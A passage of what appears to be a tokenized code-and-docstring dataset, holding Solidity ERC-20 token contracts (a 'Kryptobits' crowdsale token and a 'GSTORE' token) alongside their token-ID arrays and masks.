203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/OpenZeppelin/zeppelin-solidity
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Interface for the standard token.
* Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract EIP20Token {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
** Optional functions
*
function name() public view returns (string name);
function symbol() public view returns (string symbol);
function decimals() public view returns (uint8 decimals);
*
**/
}
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/OpenZeppelin/zeppelin-solidity
* Modified by https://www.coinfabrik.com/
*/
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
pragma solidity ^0.4.24;
// Interface for burning tokens
contract Burnable {
// @dev Destroys tokens for an account
// @param account Account whose tokens are destroyed
// @param value Amount of tokens to destroy
function burnTokens(address account, uint value) internal;
event Burned(address account, uint value);
}
pragma solidity ^0.4.24;
/**
* Authored by https://www.coinfabrik.com/
*/
/**
* Internal interface for the minting of tokens.
*/
contract Mintable {
/**
* @dev Mints tokens for an account
* This function should the Minted event.
*/
function mintInternal(address receiver, uint amount) internal;
/** Token supply got increased and a new owner received these tokens */
event Minted(address receiver, uint amount);
}
/**
* @title Standard token
* @dev Basic implementation of the EIP20 standard token (also known as ERC20 token).
*/
contract StandardToken is EIP20Token, Burnable, Mintable {
using SafeMath for uint;
uint private total_supply;
mapping(address => uint) private balances;
mapping(address => mapping (address => uint)) private allowed;
function totalSupply() public view returns (uint) {
return total_supply;
}
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param account The address whose balance is to be queried.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint balance) {
return balances[account];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amout of tokens to be transfered
*/
function transferFrom(address from, address to, uint value) public returns (bool success) {
uint allowance = allowed[from][msg.sender];
// Check is not needed because sub(allowance, value) will already throw if this condition is not met
// require(value <= allowance);
// SafeMath uses assert instead of require though, beware when using an analysis tool
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowance.sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses'
// allowance to zero by calling `approve(spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require (value == 0 || allowed[msg.sender][spender] == 0);
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param account address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address account, address spender) public view returns (uint remaining) {
return allowed[account][spender];
}
/**
* Atomic increment of approved spending
*
* Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
*/
function addApproval(address spender, uint addedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][spender];
allowed[msg.sender][spender] = oldValue.add(addedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* Atomic decrement of approved spending.
*
* Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*/
function subApproval(address spender, uint subtractedValue) public returns (bool success) {
uint oldVal = allowed[msg.sender][spender];
if (subtractedValue > oldVal) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldVal.sub(subtractedValue);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev Provides an internal function for destroying tokens. Useful for upgrades.
*/
function burnTokens(address account, uint value) internal {
balances[account] = balances[account].sub(value);
total_supply = total_supply.sub(value);
emit Transfer(account, 0, value);
emit Burned(account, value);
}
/**
* @dev Provides an internal minting function.
*/
function mintInternal(address receiver, uint amount) internal {
total_supply = total_supply.add(amount);
balances[receiver] = balances[receiver].add(amount);
emit Minted(receiver, amount);
// Beware: Address zero may be used for special transactions in a future fork.
// This will make the mint transaction appear in EtherScan.io
// We can remove this after there is a standardized minting event
emit Transfer(0, receiver, amount);
}
}
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/OpenZeppelin/zeppelin-solidity
* Modified by https://www.coinfabrik.com/
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* Define interface for releasing the token transfer after a successful crowdsale.
*/
contract ReleasableToken is StandardToken, Ownable {
/* The finalizer contract that allows lifting the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Set the contract that can call release and make the token transferable.
*
* Since the owner of this contract is (or should be) the crowdsale,
* it can only be called by a corresponding exposed API in the crowdsale contract in case of input error.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
// We don't do interface check here as we might want to have a normal wallet address to act as a release agent.
releaseAgent = addr;
}
/**
* Owner can allow a particular address (e.g. a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
/**
* One way function to release the tokens into the wild.
*
* Can be called only from the release agent that should typically be the finalize agent ICO contract.
* In the scope of the crowdsale, it is only called if the crowdsale has been a success (first milestone reached).
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/**
* Limit token transfer until the crowdsale is over.
*/
modifier canTransfer(address sender) {
require(released || transferAgents[sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/** We restrict transfer by overriding it */
function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(to, value);
}
/** We restrict transferFrom by overriding it */
function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(from, to, value);
}
}
pragma solidity ^0.4.24;
/**
* First envisioned by Golem and Lunyr projects.
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Inspired by Lunyr.
* Originally from https://github.com/TokenMarketNet/ico
*/
/**
* Upgrade agent transfers tokens to a new contract.
* Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting.
*
* The Upgrade agent is the interface used to implement a token
* migration in the case of an emergency.
* The function upgradeFrom has to implement the part of the creation
* of new tokens on behalf of the user doing the upgrade.
*
* The new token can implement this interface directly, or use.
*/
contract UpgradeAgent {
/** This value should be the same as the original token's total supply */
uint public originalSupply;
/** Interface to ensure the contract is correctly configured */
function isUpgradeAgent() public pure returns (bool) {
return true;
}
/**
Upgrade an account
When the token contract is in the upgrade status the each user will
have to call `upgrade(value)` function from UpgradeableToken.
The upgrade function adjust the balance of the user and the supply
of the previous token and then call `upgradeFrom(value)`.
The UpgradeAgent is the responsible to create the tokens for the user
in the new contract.
* @param from Account to upgrade.
* @param value Tokens to upgrade.
*/
function upgradeFrom(address from, uint value) public;
}
/**
* A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision.
*
*/
contract UpgradeableToken is EIP20Token, Burnable {
using SafeMath for uint;
/** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */
address public upgradeMaster;
/** The next contract where the tokens will be migrated. */
UpgradeAgent public upgradeAgent;
/** How many tokens we have upgraded by now. */
uint public totalUpgraded = 0;
/**
* Upgrade states.
*
* - NotAllowed: The child contract has not reached a condition where the upgrade can begin
* - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet
* - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet. This allows changing the upgrade agent while there is time.
* - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens
*
*/
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed from, address to, uint value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
/**
* Do not allow construction without upgrade master set.
*/
constructor(address master) internal {
setUpgradeMaster(master);
}
/**
* Allow the token holder to upgrade some of their tokens to a new contract.
*/
function upgrade(uint value) public {
UpgradeState state = getUpgradeState();
// Ensure it's not called in a bad state
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
// Validate input value.
require(value != 0);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
// Take tokens out from circulation
burnTokens(msg.sender, value);
totalUpgraded = totalUpgraded.add(value);
emit Upgrade(msg.sender, upgradeAgent, value);
}
/**
* Set an upgrade agent that handles the upgrade process
*/
function setUpgradeAgent(address agent) onlyMaster external {
// Check whether the token is in a state that we could think of upgrading
require(canUpgrade());
require(agent != 0x0);
// Upgrade has already begun for an agent
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
// Bad interface
require(upgradeAgent.isUpgradeAgent());
// Make sure that token supplies match in source and target
require(upgradeAgent.originalSupply() == totalSupply());
emit UpgradeAgentSet(upgradeAgent);
}
/**
* Get the state of the token upgrade.
*/
function getUpgradeState() public view returns(UpgradeState) {
if (!canUpgrade()) return UpgradeState.NotAllowed;
else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
/**
* Change the upgrade master.
*
* This allows us to set a new owner for the upgrade mechanism.
*/
function changeUpgradeMaster(address new_master) onlyMaster public {
setUpgradeMaster(new_master);
}
/**
* Internal upgrade master setter.
*/
function setUpgradeMaster(address new_master) private {
require(new_master != 0x0);
upgradeMaster = new_master;
}
/**
* Child contract can override to provide the condition in which the upgrade can begin.
*/
function canUpgrade() public view returns(bool) {
return true;
}
modifier onlyMaster() {
require(msg.sender == upgradeMaster);
_;
}
}
pragma solidity ^0.4.24;
/**
* Authored by https://www.coinfabrik.com/
*/
// This contract aims to provide an inheritable way to recover tokens from a contract not meant to hold tokens
// To use this contract, have your token-ignoring contract inherit this one and implement getLostAndFoundMaster to decide who can move lost tokens.
// Of course, this contract imposes support costs upon whoever is the lost and found master.
contract LostAndFoundToken {
/**
* @return Address of the account that handles movements.
*/
function getLostAndFoundMaster() internal view returns (address);
/**
* @param agent Address that will be able to move tokens with transferFrom
* @param tokens Amount of tokens approved for transfer
* @param token_contract Contract of the token
*/
function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public {
require(msg.sender == getLostAndFoundMaster());
// We use approve instead of transfer to minimize the possibility of the lost and found master
// getting them stuck in another address by accident.
token_contract.approve(agent, tokens);
}
}
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
/**
* A public interface to increase the supply of a token.
*
* This allows uncapped crowdsale by dynamically increasing the supply when money pours in.
* Only mint agents, usually contracts whitelisted by the owner, can mint new tokens.
*
*/
contract MintableToken is Mintable, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
/** List of agents that are allowed to create new tokens */
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
constructor(uint initialSupply, address multisig, bool mintable) internal {
require(multisig != address(0));
// Cannot create a token without supply and no minting
require(mintable || initialSupply != 0);
// Create initially all balance on the team multisig
if (initialSupply > 0)
mintInternal(multisig, initialSupply);
// No more new supply allowed after the token creation
mintingFinished = !mintable;
}
/**
* Create new tokens and allocate them to an address.
*
* Only callable by a mint agent (e.g. crowdsale contract).
*/
function mint(address receiver, uint amount) onlyMintAgent canMint public {
mintInternal(receiver, amount);
}
/**
* Owner can allow a crowdsale contract to mint new tokens.
*/
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
emit MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
// Only mint agents are allowed to mint new tokens
require(mintAgents[msg.sender]);
_;
}
/** Make sure we are not done yet. */
modifier canMint() {
require(!mintingFinished);
_;
}
}
/**
* A crowdsale token.
*
* An ERC-20 token designed specifically for crowdsales with investor protection and further development path.
*
* - The token transfer() is disabled until the crowdsale is over
* - The token contract gives an opt-in upgrade path to a new contract
* - The same token can be part of several crowdsales through the approve() mechanism
* - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens)
* - ERC20 tokens transferred to this contract can be recovered by a lost and found master
*
*/
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken {
string public name = "Kryptobits";
string public symbol = "KBE";
uint8 public decimals;
address public lost_and_found_master;
/**
* Construct the token.
*
* This token must be created through a team multisig wallet, so that it is owned by that wallet.
*
* @param initial_supply How many tokens we start with.
* @param token_decimals Number of decimal places.
* @param team_multisig Address of the multisig that receives the initial supply and is set as the upgrade master.
* @param token_retriever Address of the account that handles ERC20 tokens that were accidentally sent to this contract.
*/
constructor(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public
UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) {
require(token_retriever != address(0));
decimals = token_decimals;
lost_and_found_master = token_retriever;
}
/**
* When token is released to be transferable, prohibit new token creation.
*/
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
/**
* Allow upgrade agent functionality to kick in only if the crowdsale was a success.
*/
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function burn(uint value) public {
burnTokens(msg.sender, value);
}
function getLostAndFoundMaster() internal view returns(address) {
return lost_and_found_master;
}
} | * Create new tokens and allocate them to an address. Only callable by a mint agent (e.g. crowdsale contract)./ | function mint(address receiver, uint amount) onlyMintAgent canMint public {
mintInternal(receiver, amount);
}
| 1,243,539 | [
1,
1684,
394,
2430,
471,
10101,
2182,
358,
392,
1758,
18,
5098,
4140,
635,
279,
312,
474,
4040,
261,
73,
18,
75,
18,
276,
492,
2377,
5349,
6835,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
312,
474,
12,
2867,
5971,
16,
2254,
3844,
13,
1338,
49,
474,
3630,
848,
49,
474,
1071,
288,
203,
565,
312,
474,
3061,
12,
24454,
16,
3844,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6b2C42D2Aa4CB2D859CF7a88546dB12ae294F303/sources/contracts/base/ConfigurableRightsPool.sol | * @notice Getter for the SmartPoolManager contract @dev Convenience function to get the address of the SmartPoolManager library (so clients can check version) @return address of the SmartPoolManager library/ | function getSmartPoolManagerVersion() external pure returns (address) {
return address(SmartPoolManager);
}
| 2,714,564 | [
1,
8461,
364,
326,
19656,
2864,
1318,
6835,
225,
735,
9080,
445,
358,
336,
326,
1758,
434,
326,
19656,
2864,
1318,
5313,
261,
2048,
7712,
848,
866,
1177,
13,
327,
1758,
434,
326,
19656,
2864,
1318,
5313,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1322,
81,
485,
2864,
1318,
1444,
1435,
3903,
16618,
1135,
261,
2867,
13,
288,
203,
3639,
327,
1758,
12,
23824,
2864,
1318,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract GSTORE is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "GSTORE";
symbol = "GSTO";
decimals = 8;
_totalSupply = 1000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | * Constrctor function Initializes contract with initial supply tokens to the creator of the contract/ | constructor() public {
name = "GSTORE";
symbol = "GSTO";
decimals = 8;
_totalSupply = 1000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 15,324,479 | [
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
